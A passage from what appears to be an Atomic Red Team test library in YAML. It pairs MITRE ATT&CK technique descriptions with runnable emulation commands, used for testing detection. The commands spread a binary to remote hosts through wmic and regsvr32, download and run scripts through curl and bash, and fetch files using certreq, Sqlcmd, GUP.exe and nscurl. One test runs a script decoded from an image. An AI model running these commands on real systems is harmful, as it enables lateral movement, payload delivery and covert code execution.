https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html \n" supported_platforms: - windows input_arguments: binary_file: description: Binary file to copy to remote machines type: string default: "$env:comspec" exe_remote_folder: description: Path to store executable on remote machine (no drive letter) type: string default: "\\Windows\\Temp\\T1105.exe" remote_drive_letter: description: Remote drive letter type: string default: C dependency_executor_name: powershell dependencies: - description: 'Binary file must exist at specified location (#{binary_file}) ' prereq_command: 'if (Test-Path #{binary_file}) {exit 0} else {exit 1} ' get_prereq_command: 'write-host "The binary_file input parameter must be set to a binary that exists on this computer." ' - description: 'Machine list must exist at specified location ("PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt") ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null new-item -path "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt" | Out-Null echo "A machine list file has been generated at "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt". Please enter the machines to target there, one machine per line." executor: command: "$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\" \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n" cleanup_command: "if (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\") \n{foreach ($machine in get-content -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\")\n{wmic /node: \"$machine\" process where name='\"regsvr32.exe\"' call terminate | out-null\nRemove-Item -path \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\" -force -erroraction silentlycontinue}}\nRemove-Item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\" -erroraction silentlycontinue\nRemove-item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\" -erroraction silentlycontinue\n" name: powershell - name: Printer Migration Command-Line Tool UNC share folder into a zip file auto_generated_guid: 49845fc1-7961-4590-a0f0-3dbcf065ae7e description: 'Create a ZIP file from a folder in a remote drive ' supported_platforms: - windows input_arguments: Path_unc: description: Path to the UNC folder type: path default: "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\" Path_PrintBrm: description: Path to PrintBrm.exe type: path default: C:\Windows\System32\spool\tools\PrintBrm.exe executor: command: "del %TEMP%\\PrintBrm.zip >nul 2>&1 \n#{Path_PrintBrm} -b -d #{Path_unc} \ -f %TEMP%\\PrintBrm.zip -O FORCE\n" cleanup_command: 'del %TEMP%\PrintBrm.zip >nul 2>&1 ' name: command_prompt - name: Lolbas replace.exe use to copy file auto_generated_guid: 54782d65-12f0-47a5-b4c1-b70ee23de6df description: | Copy file.cab to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/ supported_platforms: - windows input_arguments: replace_cab: description: Path to the cab file type: path default: PathToAtomicsFolder\T1105\src\redcanary.cab Path_replace: description: Path to replace.exe type: path default: C:\Windows\System32\replace.exe dependency_executor_name: powershell dependencies: - description: "#{replace_cab} must exist on system.\n" prereq_command: 'if (Test-Path "#{replace_cab}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{replace_cab}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/redcanary.cab" -OutFile "#{replace_cab}" executor: command: | del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} "#{replace_cab}" %TEMP% /A cleanup_command: 'del %TEMP%\redcanary.cab >nul 2>&1 ' name: command_prompt - name: Lolbas replace.exe use to copy UNC file auto_generated_guid: ed0335ac-0354-400c-8148-f6151d20035a description: | Copy UNC file to destination Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/ supported_platforms: - windows input_arguments: replace_cab: description: UNC Path to the cab file type: path default: "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\redcanary.cab" Path_replace: description: Path to replace.exe type: path default: C:\Windows\System32\replace.exe executor: command: | del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} #{replace_cab} %TEMP% /A cleanup_command: 'del %TEMP%\redcanary.cab >nul 2>&1 ' name: command_prompt - name: certreq download auto_generated_guid: 6fdaae87-c05b-42f8-842e-991a74e8376b description: Use certreq to download a file from the web supported_platforms: - windows input_arguments: local_path: description: Local path to place file type: string default: "%temp%\\Atomic-license.txt" remote_file: description: URL of file to copy type: url default: https://example.com executor: command: 'certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}' cleanup_command: 'del #{local_path} >nul 2>&1' name: command_prompt - name: Download a file using wscript auto_generated_guid: 97116a3f-efac-4b26-8336-b9cb18c45188 description: Use wscript to run a local VisualBasic file to download a remote file supported_platforms: - windows input_arguments: vbscript_file: description: Full path to the VisualBasic downloading the file type: string default: PathToAtomicsFolder\T1105\src\T1105-download-file.vbs dependency_executor_name: powershell dependencies: - description: "#{vbscript_file} must be exist on system.\n" prereq_command: 'if (Test-Path "#{vbscript_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{vbscript_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs" -OutFile "#{vbscript_file}" executor: command: 'wscript.exe "#{vbscript_file}" ' cleanup_command: del Atomic-License.txt >nul 2>&1 name: command_prompt - name: Linux Download File and Run auto_generated_guid: bdc373c5-e9cf-4563-8a7b-a9ba720a90f3 description: 'Utilize linux Curl to download a remote file, chmod +x it and run it. ' supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: string default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh payload_name: description: payload name type: string default: atomic.sh executor: command: 'curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name} ' cleanup_command: 'rm #{payload_name} ' name: sh - name: Nimgrab - Transfer Files auto_generated_guid: b1729c57-9384-4d1c-9b99-9b220afb384e description: "Use nimgrab.exe to download a file from the web. \n" supported_platforms: - windows input_arguments: remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt destination_path: description: Destination path to file type: path default: "$env:TEMP\\Atomic-license.txt" executor: command: 'cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file} #{destination_path} ' cleanup_command: 'del #{destination_path} >nul 2>&1 ' name: command_prompt dependency_executor_name: powershell dependencies: - description: 'NimGrab must be installed on system. ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://nim-lang.org/download/nim-1.6.6_x64.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\nim.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\nim.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\nim" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\nim\nim-1.6.6\bin\nimgrab.exe" "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" - name: iwr or Invoke Web-Request download auto_generated_guid: c01cad7f-7a4c-49df-985e-b190dcf6a279 description: 'Use ''iwr'' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions. ' supported_platforms: - windows input_arguments: remote_file: description: URL of file to copy type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt local_path: description: Local path to place file type: path default: "%temp%\\Atomic-license.txt" executor: command: 'powershell.exe iwr -URI #{remote_file} -Outfile #{local_path} ' cleanup_command: 'del %temp%\Atomic-license.txt >nul 2>&1 ' name: command_prompt elevation_required: true - name: Arbitrary file download using the Notepad++ GUP.exe binary auto_generated_guid: 66ee226e-64cb-4dae-80e3-5bf5763e4a51 description: |- GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github. [Reference](https://x.com/nas_bench/status/1535322182863179776?s=20) Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder supported_platforms: - windows input_arguments: target_file_url: description: 'URL of the target ZIP file (Eg: https://example.com/test.zip)' type: url default: https://getsamplefiles.com/download/zip/sample-2.zip working_dir: description: The directory where GUP.exe & it's dependecies exists type: path default: PathToAtomicsFolder\T1105\bin\ gup_executable: description: GUP is an open source signed binary used by Notepad++ for software updates type: String default: PathToAtomicsFolder\T1105\bin\GUP.exe target_file_sha256: description: SHA256 value of target ZIP file type: string default: CAC4D26F32CA629DFB10FE614ED00EB1066A0C0011386290D3426C3DE2E53AC6 dependency_executor_name: powershell dependencies: - description: Gup.exe binary must exist on disk at specified location (#{gup_executable}) prereq_command: if (Test-Path "#{gup_executable}") {exit 0} else {exit 1} get_prereq_command: |- New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/bin/GUP.exe" -OutFile "#{gup_executable}" executor: command: |- mkdir "c:\Temp" cd #{working_dir} GUP.exe -unzipTo "" "C:\Temp" "Sample #{target_file_url} #{target_file_sha256}" cleanup_command: rmdir /s /q "C:\Temp\Sample" >nul 2>nul name: command_prompt elevation_required: true - name: File download via nscurl auto_generated_guid: 5bcefe5f-3f30-4f1c-a61a-8d7db3f4450c description: | Use nscurl to download and write a file/payload from the internet. -k = Disable certificate checking -o = Output destination supported_platforms: - macos input_arguments: remote_file: description: URL of remote file to download type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt destination_path: description: Local path to place remote file type: path default: license.txt executor: command: nscurl -k "#{remote_file}" -o "#{destination_path}" cleanup_command: rm "#{destination_path}" name: sh elevation_required: false - name: File Download with Sqlcmd.exe auto_generated_guid: 6934c16e-0b3a-4e7f-ab8c-c414acd32181 description: |- One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL supported_platforms: - windows input_arguments: remote_url: description: URL of the C2 Server from where file/s need to be downloaded type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.zip local_file_path: description: The local file path along with filename to where the file needs to be downloaded and placed. type: path default: C:\T1105.zip dependency_executor_name: powershell dependencies: - description: Windows package 'Sqlcmd' need to be available in the machine to execute this atomic successfully prereq_command: if (Get-Command sqlcmd 2>$null) {exit 0} else {exit 1} get_prereq_command: winget install Microsoft.Sqlcmd --silent 2>$null | Out-Null executor: command: 'sqlcmd -i #{remote_url} -o #{local_file_path}' cleanup_command: rm "#{local_file_path}" 2>$null | Out-Null name: powershell elevation_required: true T1665: technique: modified: '2024-04-18T19:44:00.603Z' name: Hide Infrastructure description: |- Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Matt Mullins - Eliav Livneh - Hen Porcilan - Diyar Saadi Ali x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Windows - Linux - Network x_mitre_version: '1.0' x_mitre_data_sources: - 'Internet Scan: Response Metadata' - 'Network Traffic: Network Traffic Content' - 'Domain Name: Domain Registration' - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--eb897572-8979-4242-a089-56f294f4c91d created: '2024-02-13T17:00:00.175Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1665 external_id: T1665 - source_name: SocGholish-update description: Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024. url: https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update - source_name: TA571 description: Axel F, Selena Larson. (2023, October 30). TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024. url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader - source_name: mod_rewrite description: Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024. url: https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/ - source_name: Browser-updates description: Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024. url: https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates - source_name: StarBlizzard description: Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024. url: https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/ - source_name: QR-cofense description: Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024. url: https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/ - source_name: Schema-abuse description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.' url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - source_name: Orange Residential Proxies description: Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024. url: https://www.orangecyberdefense.com/global/blog/research/residential-proxies - source_name: Facad1ng description: Spyboy. (2023). Facad1ng. Retrieved February 13, 2024. url: https://github.com/spyboy-productions/Facad1ng - source_name: sysdig description: Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024. url: https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1001.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235 type: attack-pattern created: '2020-03-15T00:37:58.963Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1001.002 url: https://attack.mitre.org/techniques/T1001/002 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Data Obfuscation via Steganography description: 'Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1001.002 atomic_tests: - name: Steganographic Tarball Embedding auto_generated_guid: c7921449-8b62-4c4d-8a83-d9281ac0190b description: "This atomic test, named \"Steganographic Tarball Embedding\", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) \nwithin an image.\n\nThe test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a \nfile. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image \nfile and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball \nfile within the image, utilizing steganography techniques for data obfuscation.\n\nThis atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected. \nBy embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.\n" supported_platforms: - windows input_arguments: image_file: description: Image file which will be downloaded to be used to hide data type: path default: PathToAtomicsFolder\T1001.002\bin\T1001.002.jpg tar_file: description: Tarz file containing random passwords type: path default: "$env:PUBLIC\\Downloads\\T1001.002.tarz" new_image_file: description: new image file ready for extraction type: path default: "$env:PUBLIC\\Downloads\\T1001.002New.jpg" passwords_file: description: Text file containing random passwords type: path default: "$env:TEMP\\random_passwords.txt" dependency_executor_name: powershell dependencies: - description: 'Image file must exist ' prereq_command: | if (!(Test-Path "#{image_file}")) {exit 1} else { {exit 0} } get_prereq_command: | New-Item -Type Directory (split-path "#{image_file}") -ErrorAction ignore | Out-Null Write-Output "Downloading image file..." $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/a9617d9fce289909441120a1e0366315c2c5e19d/lime.jpg" Invoke-WebRequest -Uri $imageUrl -OutFile "#{image_file}" - description: 'File to hide within tarz file must exist ' prereq_command: | if (!(Test-Path "#{passwords_file}")) {exit 1} else { {exit 0} } get_prereq_command: "Write-Output \"Generating random passwords and saving to file...\"\n$passwords = 1..10 | ForEach-Object { Get-Random -InputObject ('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}|;:,.<>?') -Count 12 }\n$passwords | Out-File -FilePath \"#{passwords_file}\" \n" - description: "Tarz file to embed in image must exist \n" prereq_command: | if (!(Test-Path "#{tar_file}")) {exit 1} else { {exit 0} } get_prereq_command: | Write-Output "Generating tarz file..." tar -cvf "#{tar_file}" "#{passwords_file}" executor: name: powershell elevation_required: true command: 'Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte ' cleanup_command: | Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore - name: Embedded Script in Image Execution via Extract-Invoke-PSImage auto_generated_guid: 04bb8e3d-1670-46ab-a3f1-5cee64da29b6 description: "This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. \nThe PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden \nwithin the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.\n\nThe test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden \nPowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a \nseparate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed.\n\nIn the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This\nis done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file. \n" supported_platforms: - windows input_arguments: image_file: description: Malicious Image file which will be downloaded type: path default: PathToAtomicsFolder\T1001.002\bin\evil_kitten.jpg psimage_script: description: Extract-Invoke-PSImage Script downloaded type: path default: PathToAtomicsFolder\ExternalPayloads\Extract-Invoke-PSImage.ps1 dependency_executor_name: powershell dependencies: - description: 'Image file must exist ' prereq_command: | if (!(Test-Path "#{image_file}")) {exit 1} else { {exit 0} } get_prereq_command: | New-Item -Type Directory (split-path "#{image_file}") -ErrorAction Ignore | Out-Null Write-Output "Downloading image file..." $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/f73e7686cdd848ed06e63af07f6f1a5e72de6320/evil_kitten.jpg" Invoke-WebRequest -Uri $imageUrl -OutFile #{image_file} - description: 'Extract-Invoke-PSImage must exist ' prereq_command: | if (!(Test-Path "#{psimage_script}")) {exit 1} else { {exit 0} } get_prereq_command: | New-Item -Path "PathToAtomicsFolder\ExternalPayloads\" -ItemType Directory -Force | Out-Null Write-Output "Downloading Extract-Invoke-PSImage.ps1 script..." $scriptUrl = "https://github.com/raghavsingh7/Extract-Invoke-PSImage/raw/7d8c165d2f9bfe9c3965181079b7c82e03168ce1/Extract-Invoke-PSImage.ps1" Invoke-WebRequest -Uri $scriptUrl -OutFile #{psimage_script} executor: name: powershell elevation_required: true command: "cd \"PathToAtomicsFolder\\ExternalPayloads\\\"\nImport-Module .\\Extract-Invoke-PSImage.ps1\n$extractedScript=Extract-Invoke-PSImage -Image \"#{image_file}\" -Out \"$HOME\\result.ps1\"\n$scriptContent = Get-Content \"$HOME\\result.ps1\" -Raw\n$base64Pattern = \"(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])\"\n$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }\n$base64Strings | Set-Content \"$HOME\\decoded.ps1\"\n$decodedContent = Get-Content \"$HOME\\decoded.ps1\" -Raw\n$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))\n$textPattern = '^.+' \n$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }\n$scriptPath = \"$HOME\\textExtraction.ps1\"\n$textMatches -join '' | Set-Content -Path $scriptPath\n. \"$HOME\\textExtraction.ps1\"\n" cleanup_command: "Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore\nRemove-Item -Path \"$HOME\\result.ps1\" -Force -ErrorAction Ignore \nRemove-Item -Path \"$HOME\\textExtraction.ps1\" -Force -ErrorAction Ignore\nRemove-Item -Path \"$HOME\\decoded.ps1\" -Force -ErrorAction Ignore \n" - name: Execute Embedded Script in Image via Steganography auto_generated_guid: 4ff61684-ad91-405c-9fbc-048354ff1d07 description: This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system. supported_platforms: - linux input_arguments: script: description: Shell Script file to be embedded and executed type: String default: PathToAtomicsFolder/script.sh evil_image: description: The modified image with embedded script type: String default: PathToAtomicsFolder/evil_image.jpg image: description: Image file to be embedded type: String default: PathToAtomicsFolder/image.jpg executor: command: cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh cleanup_command: rm "#{evil_image}" name: sh elevation_required: false T1008: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433 type: attack-pattern created: '2017-05-31T21:30:21.689Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1008 external_id: T1008 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Fallback Channels description: Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Connection Creation' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1090.001: technique: modified: '2024-03-07T14:29:02.408Z' name: 'Proxy: Internal Proxy' description: |- Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755 created: '2020-03-14T23:08:20.244Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090/001 external_id: T1090.001 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Trend Micro APT Attack Tools description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.' url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1090.001 atomic_tests: - name: Connection Proxy auto_generated_guid: 0ac21132-4485-4212-a681-349e8a6637cd description: | Enable traffic redirection. Note that this test may conflict with pre-existing system configuration. supported_platforms: - linux - macos input_arguments: proxy_server: description: Proxy server URL type: url default: 127.0.0.1 proxy_port: description: Proxy server port type: integer default: 8080 proxy_scheme: description: Protocol to proxy (http or https) type: string default: http executor: command: 'export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port} ' cleanup_command: | unset http_proxy unset https_proxy name: sh - name: Connection Proxy for macOS UI auto_generated_guid: 648d68c1-8bcd-4486-9abe-71c6655b6a2c description: | Enable traffic redirection on macOS UI (not terminal). The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings in System Preferences => Network => Advanced => Proxies for the specified network interface. 